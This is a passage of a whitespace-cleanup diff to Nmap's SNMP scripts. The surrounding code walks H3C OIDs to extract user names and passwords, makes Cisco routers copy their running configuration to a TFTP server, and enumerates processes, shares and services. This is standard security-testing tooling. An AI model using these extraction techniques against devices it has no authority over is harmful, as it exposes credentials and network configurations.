= "Wrong type of packet received" condvar "signal" return end @@ -201,7 +201,7 @@ local sniff_snmp_responses = function(host, port, lport, result) if type(res) == "table" then result.communities[ #(result.communities) + 1 ] = res[2] else - result.status = false + result.status = false result.msg = "Wrong type of SNMP response received" condvar "signal" return @@ -233,31 +233,31 @@ action = function(host, port) local threads = {} local condvar = nmap.condvar(result) - + result.sent = false --whether the probes are sent result.communities = {} -- list of valid community strings result.msg = "" -- Error/Status msg - result.status = true -- Status (is everything ok) + result.status = true -- Status (is everything ok) local socket = nmap.new_socket("udp") status = socket:connect(host, port) - + if ( not(status) ) then return "\n ERROR: Failed to connect to server" end - + local status, _, lport = socket:get_info() if( not(status) ) then return "\n ERROR: Failed to retrieve local port" end - + local recv_co = stdnse.new_thread(sniff_snmp_responses, host, port, lport, result) local send_co = stdnse.new_thread(send_snmp_queries, socket, result, nextcommunity) - + local recv_dead, send_dead - while true do + while true do condvar "wait" - recv_dead = (coroutine.status(recv_co) == "dead") + recv_dead = (coroutine.status(recv_co) == "dead") send_dead = (coroutine.status(send_co) == "dead") if recv_dead then break end end diff --git a/scripts/snmp-hh3c-logins.nse b/scripts/snmp-hh3c-logins.nse index b5af1b62f..3e5ed10fa 100644 --- a/scripts/snmp-hh3c-logins.nse +++ b/scripts/snmp-hh3c-logins.nse @@ -91,9 +91,9 @@ function process_answer( tbl ) local output = stdnse.output_table() output.users = {} - + for _, v in ipairs( tbl ) do - + if ( v.oid:match("^" .. h3cUserName) ) then local item = {} local oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserPassword) @@ -114,9 +114,9 @@ function process_answer( tbl ) output.users[#output.users + 1] = {username=v.value, password=password, level=level} end - + end - + return output end @@ -124,7 +124,7 @@ action = function(host, port) local socket = nmap.new_socket() local catch = function() socket:close() end - local try = nmap.new_try(catch) + local try = nmap.new_try(catch) local data, oldsnmpoid = nil, "1.3.6.1.4.1.2011.10.2.12.1.1.1" local data, newsnmpoid = nil, "1.3.6.1.4.1.25506.2.12.1.1.1" local users = {} @@ -132,7 +132,7 @@ action = function(host, port) socket:set_timeout(5000) try(socket:connect(host, port)) - + status, users = snmp.snmpWalk( socket, oldsnmpoid ) socket:close() diff --git a/scripts/snmp-interfaces.nse b/scripts/snmp-interfaces.nse index 297aee6b6..2ba346886 100644 --- a/scripts/snmp-interfaces.nse +++ b/scripts/snmp-interfaces.nse @@ -64,46 +64,46 @@ end portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"}) -- List of IANA-assigned network interface types --- Taken from IANAifType-MIB +-- Taken from IANAifType-MIB -- Available at http://www.iana.org/assignments/ianaiftype-mib -- REVISION "201002110000Z" -local iana_types = { "other", "regular1822", "hdh1822", "ddnX25", "rfc877x25", "ethernetCsmacd", +local iana_types = { "other", "regular1822", "hdh1822", "ddnX25", "rfc877x25", "ethernetCsmacd", "iso88023Csmacd", "iso88024TokenBus", "iso88025TokenRing", "iso88026Man", "starLan", - "proteon10Mbit", "proteon80Mbit", "hyperchannel", "fddi", "lapb", "sdlc", "ds1", "e1", - "basicISDN", "primaryISDN", "propPointToPointSerial", "ppp", "softwareLoopback", "eon", - "ethernet3Mbit", "nsip", "slip", "ultra", "ds3", "sip", "frameRelay", "rs232", "para", - "arcnet", "arcnetPlus", "atm", "miox25", "sonet", "x25ple", "iso88022llc", "localTalk", - "smdsDxi", "frameRelayService", "v35", "hssi", "hippi", "modem", "aal5", "sonetPath", - "sonetVT", "smdsIcip", "propVirtual", "propMultiplexor", "ieee80212", "fibreChannel", - "hippiInterface", "frameRelayInterconnect", "aflane8023", "aflane8025", "cctEmul", - "fastEther", "isdn", "v11", "v36", "g703at64k", "g703at2mb", "qllc", "fastEtherFX", - "channel", "ieee80211", "ibm370parChan", "escon", "dlsw", "isdns", "isdnu", "lapd", - "ipSwitch", "rsrb", "atmLogical", "ds0", "ds0Bundle", "bsc", "async", "cnr", - "iso88025Dtr", "eplrs", "arap", "propCnls", "hostPad", "termPad", "frameRelayMPI", - "x213", "adsl", "radsl", "sdsl", "vdsl", "iso88025CRFPInt", "myrinet", "voiceEM", - "voiceFXO", "voiceFXS", "voiceEncap", "voiceOverIp", "atmDxi", "atmFuni", "atmIma", - "pppMultilinkBundle", "ipOverCdlc", "ipOverClaw", "stackToStack", "virtualIpAddress", - "mpc", "ipOverAtm", "iso88025Fiber", "tdlc", "gigabitEthernet", "hdlc", "lapf", "v37", - "x25mlp", "x25huntGroup", "trasnpHdlc", "interleave", "fast", "ip", "docsCableMaclayer", - "docsCableDownstream", "docsCableUpstream", "a12MppSwitch", "tunnel", "coffee", "ces", - "atmSubInterface", "l2vlan", "l3ipvlan", "l3ipxvlan", "digitalPowerlinev", "mediaMailOverIp", - "dtm", "dcn", "ipForward", "msdsl", "ieee1394", "if-gsn", "dvbRccMacLayer", "dvbRccDownstream", - "dvbRccUpstream", "atmVirtual", "mplsTunnel", "srp", "voiceOverAtm", "voiceOverFrameRelay", - "idsl", "compositeLink", "ss7SigLink", "propWirelessP2P", "frForward", "rfc1483", "usb", - "ieee8023adLag", "bgppolicyaccounting", "frf16MfrBundle", "h323Gatekeeper", "h323Proxy", - "mpls", "mfSigLink", "hdsl2", "shdsl", "ds1FDL", "pos", "dvbAsiIn", "dvbAsiOut", "plc", - "nfas", "tr008", "gr303RDT", "gr303IDT", "isup", "propDocsWirelessMaclayer", - "propDocsWirelessDownstream", "propDocsWirelessUpstream", "hiperlan2", "propBWAp2Mp", - "sonetOverheadChannel", "digitalWrapperOverheadChannel", "aal2", "radioMAC", "atmRadio", - "imt", "mvl", "reachDSL", "frDlciEndPt", "atmVciEndPt", "opticalChannel", "opticalTransport", - "propAtm", "voiceOverCable", "infiniband", "teLink", "q2931", "virtualTg", "sipTg", "sipSig", - "docsCableUpstreamChannel", "econet", "pon155", "pon622", "bridge", "linegroup", "voiceEMFGD", - "voiceFGDEANA", "voiceDID", "mpegTransport", "sixToFour", "gtp", "pdnEtherLoop1", - "pdnEtherLoop2", "opticalChannelGroup", "homepna", "gfp", "ciscoISLvlan", "actelisMetaLOOP", - "fcipLink", "rpr", "qam", "lmp", "cblVectaStar", "docsCableMCmtsDownstream", "adsl2", - "macSecControlledIF", "macSecUncontrolledIF", "aviciOpticalEther", "atmbond", "voiceFGDOS", - "mocaVersion1", "ieee80216WMAN", "adsl2plus", "dvbRcsMacLayer", "dvbTdm", "dvbRcsTdma", - "x86Laps", "wwanPP", "wwanPP2", "voiceEBS", "ifPwType", "ilan", "pip", "aluELP", "gpon", + "proteon10Mbit", "proteon80Mbit", "hyperchannel", "fddi", "lapb", "sdlc", "ds1", "e1", + "basicISDN", "primaryISDN", "propPointToPointSerial", "ppp", "softwareLoopback", "eon", + "ethernet3Mbit", "nsip", "slip", "ultra", "ds3", "sip", "frameRelay", "rs232", "para", + "arcnet", "arcnetPlus", "atm", "miox25", "sonet", "x25ple", "iso88022llc", "localTalk", + "smdsDxi", "frameRelayService", "v35", "hssi", "hippi", "modem", "aal5", "sonetPath", + "sonetVT", "smdsIcip", "propVirtual", "propMultiplexor", "ieee80212", "fibreChannel", + "hippiInterface", "frameRelayInterconnect", "aflane8023", "aflane8025", "cctEmul", + "fastEther", "isdn", "v11", "v36", "g703at64k", "g703at2mb", "qllc", "fastEtherFX", + "channel", "ieee80211", "ibm370parChan", "escon", "dlsw", "isdns", "isdnu", "lapd", + "ipSwitch", "rsrb", "atmLogical", "ds0", "ds0Bundle", "bsc", "async", "cnr", + "iso88025Dtr", "eplrs", "arap", "propCnls", "hostPad", "termPad", "frameRelayMPI", + "x213", "adsl", "radsl", "sdsl", "vdsl", "iso88025CRFPInt", "myrinet", "voiceEM", + "voiceFXO", "voiceFXS", "voiceEncap", "voiceOverIp", "atmDxi", "atmFuni", "atmIma", + "pppMultilinkBundle", "ipOverCdlc", "ipOverClaw", "stackToStack", "virtualIpAddress", + "mpc", "ipOverAtm", "iso88025Fiber", "tdlc", "gigabitEthernet", "hdlc", "lapf", "v37", + "x25mlp", "x25huntGroup", "trasnpHdlc", "interleave", "fast", "ip", "docsCableMaclayer", + "docsCableDownstream", "docsCableUpstream", "a12MppSwitch", "tunnel", "coffee", "ces", + "atmSubInterface", "l2vlan", "l3ipvlan", "l3ipxvlan", "digitalPowerlinev", "mediaMailOverIp", + "dtm", "dcn", "ipForward", "msdsl", "ieee1394", "if-gsn", "dvbRccMacLayer", "dvbRccDownstream", + "dvbRccUpstream", "atmVirtual", "mplsTunnel", "srp", "voiceOverAtm", "voiceOverFrameRelay", + "idsl", "compositeLink", "ss7SigLink", "propWirelessP2P", "frForward", "rfc1483", "usb", + "ieee8023adLag", "bgppolicyaccounting", "frf16MfrBundle", "h323Gatekeeper", "h323Proxy", + "mpls", "mfSigLink", "hdsl2", "shdsl", "ds1FDL", "pos", "dvbAsiIn", "dvbAsiOut", "plc", + "nfas", "tr008", "gr303RDT", "gr303IDT", "isup", "propDocsWirelessMaclayer", + "propDocsWirelessDownstream", "propDocsWirelessUpstream", "hiperlan2", "propBWAp2Mp", + "sonetOverheadChannel", "digitalWrapperOverheadChannel", "aal2", "radioMAC", "atmRadio", + "imt", "mvl", "reachDSL", "frDlciEndPt", "atmVciEndPt", "opticalChannel", "opticalTransport", + "propAtm", "voiceOverCable", "infiniband", "teLink", "q2931", "virtualTg", "sipTg", "sipSig", + "docsCableUpstreamChannel", "econet", "pon155", "pon622", "bridge", "linegroup", "voiceEMFGD", + "voiceFGDEANA", "voiceDID", "mpegTransport", "sixToFour", "gtp", "pdnEtherLoop1", + "pdnEtherLoop2", "opticalChannelGroup", "homepna", "gfp", "ciscoISLvlan", "actelisMetaLOOP", + "fcipLink", "rpr", "qam", "lmp", "cblVectaStar", "docsCableMCmtsDownstream", "adsl2", + "macSecControlledIF", "macSecUncontrolledIF", "aviciOpticalEther", "atmbond", "voiceFGDOS", + "mocaVersion1", "ieee80216WMAN", "adsl2plus", "dvbRcsMacLayer", "dvbTdm", "dvbRcsTdma", + "x86Laps", "wwanPP", "wwanPP2", "voiceEBS", "ifPwType", "ilan", "pip", "aluELP", "gpon", "vdsl2", "capwapDot11Profile", "capwapDot11Bss", "capwapWtpVirtualRadio" } --- Gets a value for the specified oid @@ -112,13 +112,13 @@ local iana_types = { "other", "regular1822", "hdh1822", "ddnX25", "rfc877x25", " -- @param oid string containing the object id for which the value should be extracted -- @return value of relevant type or nil if oid was not found function get_value_from_table( tbl, oid ) - + for _, v in ipairs( tbl ) do if v.oid == oid then return v.value end end - + return nil end @@ -132,17 +132,17 @@ function get_iana_type( iana ) if iana > 254 or iana < 1 then iana = 1 end - + return iana_types[iana] end --- Calculates the speed of the interface based on the snmp value --- +-- -- @param speed value from IF-MIB::ifSpeed -- @return string description of speed function get_if_speed( speed ) local result - + -- GigE or 10GigE speeds if speed >= 1000000000 then result = string.format( "%d Gbps", speed / 1000000000) @@ -153,17 +153,17 @@ function get_if_speed( speed ) else result = string.format( "%d Kbps", speed / 1000) end - + return result end --- Calculates the amount of traffic passed through an interface based on the snmp value --- +-- -- @param amount value from IF-MIB::ifInOctets or IF-MIB::ifOutOctets -- @return string description of traffic amount function get_traffic( amount ) local result - + -- Gigabytes if amount >= 1000000000 then result = string.format( "%.2f Gb", amount / 1000000000) @@ -174,7 +174,7 @@ function get_traffic( amount ) else result = string.format( "%.2f Kb", amount / 1000) end - + return result end @@ -186,7 +186,7 @@ function get_mac_addr( mac ) local catch = function() return end local try = nmap.new_try(catch) local mac_prefixes = try(datafiles.parse_mac_prefixes()) - + if mac:len() ~= 6 then return "Unknown" else @@ -201,7 +201,7 @@ end -- @param tbl table containing oid and value -- @return table with network interfaces described in key / value pairs function process_interfaces( tbl ) - + -- Add the %. escape character to prevent matching the index on e.g. "1.3.6.1.2.1.2.2.1.10." local if_index = "1.3.6.1.2.1.2.2.1.1%." local if_descr = "1.3.6.1.2.1.2.2.1.2." @@ -212,78 +212,78 @@ function process_interfaces( tbl ) local if_in_octets = "1.3.6.1.2.1.2.2.1.10." local if_out_octets = "1.3.6.1.2.1.2.2.1.16." local new_tbl = {} - + -- Some operating systems (such as MS Windows) don't list interfaces with consecutive indexes -- Therefore we keep an index list so we can iterate over the indexes later on new_tbl.index_list = {} - + for _, v in ipairs( tbl ) do - + if ( v.oid:match("^" .. if_index) ) then local item = {} item.index = get_value_from_table( tbl, v.oid ) - - local objid = v.oid:gsub( "^" .. if_index, if_descr) + + local objid = v.oid:gsub( "^" .. if_index, if_descr) local value = get_value_from_table( tbl, objid ) - + if value and value:len() > 0 then item.descr = value end - - objid = v.oid:gsub( "^" .. if_index, if_type ) + + objid = v.oid:gsub( "^" .. if_index, if_type ) value = get_value_from_table( tbl, objid ) - + if value then item.type = get_iana_type(value) end - - objid = v.oid:gsub( "^" .. if_index, if_speed ) + + objid = v.oid:gsub( "^" .. if_index, if_speed ) value = get_value_from_table( tbl, objid ) - + if value then item.speed = get_if_speed( value ) end - - objid = v.oid:gsub( "^" .. if_index, if_phys_addr ) + + objid = v.oid:gsub( "^" .. if_index, if_phys_addr ) value = get_value_from_table( tbl, objid ) - + if value and value:len() > 0 then item.phys_addr = get_mac_addr( value ) end - - objid = v.oid:gsub( "^" .. if_index, if_status ) + + objid = v.oid:gsub( "^" .. if_index, if_status ) value = get_value_from_table( tbl, objid ) - + if value == 1 then item.status = "up" elseif value == 2 then item.status = "down" end - - objid = v.oid:gsub( "^" .. if_index, if_in_octets ) + + objid = v.oid:gsub( "^" .. if_index, if_in_octets ) value = get_value_from_table( tbl, objid ) - + if value then item.received = get_traffic( value ) end - - objid = v.oid:gsub( "^" .. if_index, if_out_octets ) + + objid = v.oid:gsub( "^" .. if_index, if_out_octets ) value = get_value_from_table( tbl, objid ) - + if value then item.sent = get_traffic( value ) end - + new_tbl[item.index] = item -- Add this interface index to our master list table.insert( new_tbl.index_list, item.index ) - + end - + end - + return new_tbl - + end --- Processes the list of network interfaces and finds associated IP addresses @@ -297,28 +297,28 @@ function process_ips( if_tbl, ip_tbl ) local ip_netmask = "1.3.6.1.2.1.4.20.1.3." local index local item - + for _, v in ipairs( ip_tbl ) do if ( v.oid:match("^" .. ip_index) ) then index = get_value_from_table( ip_tbl, v.oid ) item = if_tbl[index] - - local objid = v.oid:gsub( "^" .. ip_index, ip_addr ) + + local objid = v.oid:gsub( "^" .. ip_index, ip_addr ) local value = get_value_from_table( ip_tbl, objid ) - + if value then item.ip_addr = value end - - objid = v.oid:gsub( "^" .. ip_index, ip_netmask ) + + objid = v.oid:gsub( "^" .. ip_index, ip_netmask ) value = get_value_from_table( ip_tbl, objid ) - + if value then item.netmask = value end end end - + return if_tbl end @@ -346,47 +346,47 @@ end function build_results( tbl ) local new_tbl = {} local verbose = nmap.verbosity() - + -- For each interface index previously discovered, format the relevant information for output for _, index in ipairs( tbl.index_list ) do local interface = tbl[index] local item = {} local status = interface.status local if_type = interface.type - + if interface.descr then item.name = interface.descr else item.name = string.format("Interface %d", index) end - + if interface.ip_addr and interface.netmask then table.insert( item, ("IP address: %s Netmask: %s"):format( interface.ip_addr, interface.netmask ) ) end - + if interface.phys_addr then table.insert( item, ("MAC address: %s"):format( interface.phys_addr ) ) end - + if interface.type and interface.speed then table.insert( item, ("Type: %s Speed: %s"):format( interface.type, interface.speed ) ) end - + if ( verbose > 0 ) and interface.status then table.insert( item, ("Status: %s"):format( interface.status ) ) end - + if interface.sent and interface.received then table.insert( item, ("Traffic stats: %s sent, %s received"):format( interface.sent, interface.received ) ) end - + if ( verbose > 0 ) or status == "up" then table.insert( new_tbl, item ) end end - + return new_tbl -end +end action = function(host, port) @@ -401,7 +401,7 @@ action = function(host, port) local ips = {} local status local srvhost, srvport - + if SCRIPT_TYPE == "prerule" then srvhost = stdnse.get_script_args({"snmp-interfaces.host", "host"}) if not srvhost then @@ -422,31 +422,31 @@ action = function(host, port) socket:set_timeout(5000) try(socket:connect(srvhost, srvport, "udp")) - + -- retreive network interface information from IF-MIB status, interfaces = snmp.snmpWalk( socket, if_oid ) socket:close() - + if (not(status)) or ( interfaces == nil ) or ( #interfaces == 0 ) then return end - + stdnse.print_debug("SNMP walk of IF-MIB returned %d lines", #interfaces) - + -- build a table of network interfaces from the IF-MIB table interfaces = process_interfaces( interfaces ) - + -- retreive IP address information from IP-MIB try(socket:connect(srvhost, srvport, "udp")) status, ips = snmp.snmpWalk( socket, ip_oid ) - + -- associate that IP address information with the correct interface if (not(status)) or ( ips ~= nil ) and ( #ips ~= 0 ) then interfaces = process_ips( interfaces, ips ) end local output = stdnse.format_output( true, build_results(interfaces) ) - + if SCRIPT_TYPE == "prerule" and target.ALLOW_NEW_TARGETS then local sum = 0 diff --git a/scripts/snmp-ios-config.nse b/scripts/snmp-ios-config.nse index ff8dab654..d9956c47d 100644 --- a/scripts/snmp-ios-config.nse +++ b/scripts/snmp-ios-config.nse @@ -15,7 +15,7 @@ Attempts to downloads Cisco router IOS configuration files using SNMP RW (v1) an -- nmap -sU -p 161 --script snmp-ios-config --script-args snmpcommunity= -- -- @output --- | snmp-ios-config: +-- | snmp-ios-config: -- | ! -- | version 12.3 -- | service timestamps debug datetime msec @@ -59,7 +59,7 @@ local function sendrequest(socket, oid, setparam) -- read in any response we might get local status, response = socket:receive() if ( not(status) ) then return status, response end - + local result = snmp.fetchFirst(response) return true end @@ -67,7 +67,7 @@ end --- -- Sends SNMP packets to host and reads responses action = function(host, port) - + local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot") if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then @@ -83,7 +83,7 @@ action = function(host, port) -- do some exception handling / cleanup local catch = function() socket:close() end try = nmap.new_try(catch) - + -- connect to the potential SNMP system try(socket:connect(host.ip, port.number, "udp")) @@ -91,7 +91,7 @@ action = function(host, port) if( not(status) ) then return "ERROR: Failed to determin local ip" end - + -- build a SNMP v1 packet -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] ) @@ -108,17 +108,17 @@ action = function(host, port) -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] ) request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4) - + ------------------------------------------------- -- build a SNMP v1 packet -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] ) request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1) - + ------------------------------------------------- -- build a SNMP v1 packet -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server ) - + local tbl = {} tbl._snmp = '40' for octet in tftpserver:gmatch("%d+") do @@ -131,7 +131,7 @@ action = function(host, port) ------------------------------------------------- -- build a SNMP v1 packet - -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 ) + -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 ) -- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1) @@ -154,18 +154,18 @@ action = function(host, port) -- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1) - - -- wait for sometime and print the status of filetransfer + + -- wait for sometime and print the status of filetransfer tftp.start() local status, infile = tftp.waitFile(host.ip .. "-config", 10) - + -- build a SNMP v1 packet -- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed local options = {} options.reqId = 28428 - local payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999"))) - + local payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999"))) + try(socket:send(payload)) local status @@ -176,13 +176,13 @@ action = function(host, port) if (not status) or (response == "TIMEOUT") then return "\n ERROR: Failed to receive cisco configuration file" end - + local result result = snmp.fetchFirst(response) if result == 3 then result = ( infile and infile:getContent() ) - + if ( tftproot ) then local fname = tftproot .. stdnse.filename_escape(host.ip .. "-config") local file, err = io.open(fname, "w") @@ -197,13 +197,13 @@ action = function(host, port) else result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)" end - + ------------------------------------------------- -- build a SNMP v1 packet -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6]) - + request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6) - + try(socket:close()) return result diff --git a/scripts/snmp-netstat.nse b/scripts/snmp-netstat.nse index 16bb16f71..fd4378fc0 100644 --- a/scripts/snmp-netstat.nse +++ b/scripts/snmp-netstat.nse @@ -14,7 +14,7 @@ newtargets script argument. --- -- @output --- | snmp-netstat: +-- | snmp-netstat: -- | TCP 0.0.0.0:21 0.0.0.0:2256 -- | TCP 0.0.0.0:80 0.0.0.0:8218 -- | TCP 0.0.0.0:135 0.0.0.0:53285 @@ -81,7 +81,7 @@ local function add_targets(tbl) if ( not(target.ALLOW_NEW_TARGETS) ) then return end - + -- get a list of local IPs local local_ips = {} for _, v in ipairs(tbl) do @@ -103,7 +103,7 @@ action = function(host, port) local socket = nmap.new_socket() local catch = function() socket:close() end - local try = nmap.new_try(catch) + local try = nmap.new_try(catch) local tcp_oid = "1.3.6.1.2.1.6.13.1.1" local udp_oid = "1.3.6.1.2.1.7.5.1.1" local netstat = {} @@ -111,28 +111,28 @@ action = function(host, port) socket:set_timeout(5000) try(socket:connect(host, port)) - + status, tcp = snmp.snmpWalk( socket, tcp_oid ) if ( not(status) ) then return end status, udp = snmp.snmpWalk( socket, udp_oid ) if ( not(status) ) then return end socket:close() - + if ( tcp == nil ) or ( #tcp == 0 ) or ( udp==nil ) or ( #udp == 0 ) then return end - + tcp = process_answer(tcp, tcp_oid) add_targets(tcp) tcp = format_output(tcp, "TCP") - + udp = process_answer(udp, udp_oid) add_targets(udp) udp = format_output(udp, "UDP") - + netstat = table_merge( tcp, udp ) - + nmap.set_port_state(host, port, "open") socket:close() diff --git a/scripts/snmp-processes.nse b/scripts/snmp-processes.nse index 471bbfcb1..b1fd3f92c 100644 --- a/scripts/snmp-processes.nse +++ b/scripts/snmp-processes.nse @@ -10,7 +10,7 @@ Attempts to enumerate running processes through SNMP. --- -- @output --- | snmp-processes: +-- | snmp-processes: -- | System Idle Process -- | PID: 1 -- | System @@ -51,13 +51,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"}) -- @param oid string containing the object id for which the value should be extracted -- @return value of relevant type or nil if oid was not found function get_value_from_table( tbl, oid ) - + for _, v in ipairs( tbl ) do if v.oid == oid then return v.value end end - + return nil end @@ -66,47 +66,47 @@ end -- @param tbl table containing oid and value -- @return table suitable for stdnse.format_output function process_answer( tbl ) - + local swrun_name = "1.3.6.1.2.1.25.4.2.1.2" local swrun_pid = "1.3.6.1.2.1.25.4.2.1.1" local swrun_path = "1.3.6.1.2.1.25.4.2.1.4" local swrun_params = "1.3.6.1.2.1.25.4.2.1.5" local new_tbl = {} - + for _, v in ipairs( tbl ) do - + if ( v.oid:match("^" .. swrun_name) ) then - local item = {} - local objid = v.oid:gsub( "^" .. swrun_name, swrun_path) + local item = {} + local objid = v.oid:gsub( "^" .. swrun_name, swrun_path) local value = get_value_from_table( tbl, objid ) - + if value and value:len() > 0 then table.insert( item, ("Path: %s"):format( value ) ) end - - objid = v.oid:gsub( "^" .. swrun_name, swrun_params) + + objid = v.oid:gsub( "^" .. swrun_name, swrun_params) value = get_value_from_table( tbl, objid ) - + if value and value:len() > 0 then table.insert( item, ("Params: %s"):format( value ) ) end - - objid = v.oid:gsub( "^" .. swrun_name, swrun_pid) + + objid = v.oid:gsub( "^" .. swrun_name, swrun_pid) value = get_value_from_table( tbl, objid ) - + if value then table.insert( item, ("PID: %s"):format( value ) ) end - + item.name = v.value table.insert( item, value ) table.insert( new_tbl, item ) end - + end - + return new_tbl - + end @@ -114,21 +114,21 @@ action = function(host, port) local socket = nmap.new_socket() local catch = function() socket:close() end - local try = nmap.new_try(catch) + local try = nmap.new_try(catch) local data, snmpoid = nil, "1.3.6.1.2.1.25.4.2" local shares = {} local status - + socket:set_timeout(5000) try(socket:connect(host, port)) - + status, shares = snmp.snmpWalk( socket, snmpoid ) socket:close() if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then return end - + shares = process_answer( shares ) nmap.set_port_state(host, port, "open") diff --git a/scripts/snmp-sysdescr.nse b/scripts/snmp-sysdescr.nse index 2593d0861..ebac867ac 100644 --- a/scripts/snmp-sysdescr.nse +++ b/scripts/snmp-sysdescr.nse @@ -33,22 +33,22 @@ action = function(host, port) -- create the socket used for our connection local socket = nmap.new_socket() - + -- set a reasonable timeout value socket:set_timeout(5000) - + -- do some exception handling / cleanup local catch = function() socket:close() end - + local try = nmap.new_try(catch) - + -- connect to the potential SNMP system try(socket:connect(host, port)) - + local payload - + -- build a SNMP v1 packet -- copied from packet capture of snmpget exchange -- get value: 1.3.6.1.2.1.1.1.0 (SNMPv2-MIB::sysDescr.0) @@ -57,39 +57,39 @@ action = function(host, port) payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.1.0"))) try(socket:send(payload)) - + local status local response - + -- read in any response we might get status, response = socket:receive_bytes(1) - if (not status) or (response == "TIMEOUT") then + if (not status) or (response == "TIMEOUT") then return end - + -- since we got something back, the port is definitely open nmap.set_port_state(host, port, "open") - + local result result = snmp.fetchFirst(response) - + -- build a SNMP v1 packet -- copied from packet capture of snmpget exchange -- get value: 1.3.6.1.2.1.1.3.0 (SNMPv2-MIB::sysUpTime.0) local options = {} options.reqId = 28428 payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.3.0"))) - + try(socket:send(payload)) - + -- read in any response we might get status, response = socket:receive_bytes(1) if (not status) or (response == "TIMEOUT") then return result end - + try(socket:close()) local uptime = snmp.fetchFirst(response) @@ -102,17 +102,17 @@ action = function(host, port) minutes = math.floor(mtime / 6000) stime = math.fmod(mtime, 6000) seconds = stime / 100 - + local dayLabel - + if days == 1 then dayLabel = "day" else dayLabel = "days" end - + result = result .. "\n" .. string.format(" System uptime: %d %s, %d:%02d:%05.2f (%s timeticks)", days, dayLabel, hours, minutes, seconds, tostring(uptime)) - + return result end diff --git a/scripts/snmp-win32-services.nse b/scripts/snmp-win32-services.nse index c0d21fc3d..10e52b7a1 100644 --- a/scripts/snmp-win32-services.nse +++ b/scripts/snmp-win32-services.nse @@ -10,7 +10,7 @@ Attempts to enumerate Windows services through SNMP. --- -- @output --- | snmp-win32-services: +-- | snmp-win32-services: -- | Apache Tomcat -- | Application Experience Lookup Service -- | Application Layer Gateway Service @@ -50,32 +50,32 @@ function process_answer( tbl ) for _, v in ipairs( tbl ) do table.insert( new_tab, v.value ) end - + table.sort( new_tab ) - + return new_tab - + end action = function(host, port) local socket = nmap.new_socket() local catch = function() socket:close() end - local try = nmap.new_try(catch) + local try = nmap.new_try(catch) local snmpoid = "1.3.6.1.4.1.77.1.2.3.1.1" local services = {} local status socket:set_timeout(5000) try(socket:connect(host, port)) - + status, services = snmp.snmpWalk( socket, snmpoid ) socket:close() if ( not(status) ) or ( services == nil ) or ( #services == 0 ) then return end - + services = process_answer(services) nmap.set_port_state(host, port, "open") diff --git a/scripts/snmp-win32-shares.nse b/scripts/snmp-win32-shares.nse index b39876d88..f9efafa9e 100644 --- a/scripts/snmp-win32-shares.nse +++ b/scripts/snmp-win32-shares.nse @@ -10,7 +10,7 @@ Attempts to enumerate Windows Shares through SNMP. --- -- @output --- | snmp-win32-shares: +-- | snmp-win32-shares: -- | SYSVOL -- | C:\WINDOWS\sysvol\sysvol -- | NETLOGON @@ -37,13 +37,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"}) -- @param oid string containing the object id for which the value should be extracted -- @return value of relevant type or nil if oid was not found function get_value_from_table( tbl, oid ) - + for _, v in ipairs( tbl ) do if v.oid == oid then return v.value end end - + return nil end @@ -52,27 +52,27 @@ end -- @param tbl table containing oid and value -- @return table suitable for stdnse.format_output function process_answer( tbl ) - + local share_name = "1.3.6.1.4.1.77.1.2.27.1.1" local share_path = "1.3.6.1.4.1.77.1.2.27.1.2" local new_tbl = {} - + for _, v in ipairs( tbl ) do - + if ( v.oid:match("^" .. share_name) ) then local item = {} - local objid = v.oid:gsub( "^" .. share_name, share_path) + local objid = v.oid:gsub( "^" .. share_name, share_path) local path = get_value_from_table( tbl, objid ) item.name = v.value table.insert( item, path ) table.insert( new_tbl, item ) end - + end - + return new_tbl - + end @@ -80,21 +80,21 @@ action = function(host, port) local socket = nmap.new_socket() local catch = function() socket:close() end - local try = nmap.new_try(catch) + local try = nmap.new_try(catch) local data, snmpoid = nil, "1.3.6.1.4.1.77.1.2.27" local shares = {} local status socket:set_timeout(5000) try(socket:connect(host, port)) - + status, shares = snmp.snmpWalk( socket, snmpoid ) socket:close() if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then return shares end - + shares = process_answer( shares ) nmap.set_port_state(host, port, "open") diff --git a/scripts/snmp-win32-software.nse b/scripts/snmp-win32-software.nse index 236117987..cbbb339b5 100644 --- a/scripts/snmp-win32-software.nse +++ b/scripts/snmp-win32-software.nse @@ -11,7 +11,7 @@ Attempts to enumerate installed software through SNMP. --- -- @output --- | snmp-win32-software: +-- | 